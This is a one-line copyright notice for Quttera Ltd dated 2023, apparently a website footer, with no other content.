© 2023 Quttera Ltd. All rights reserved.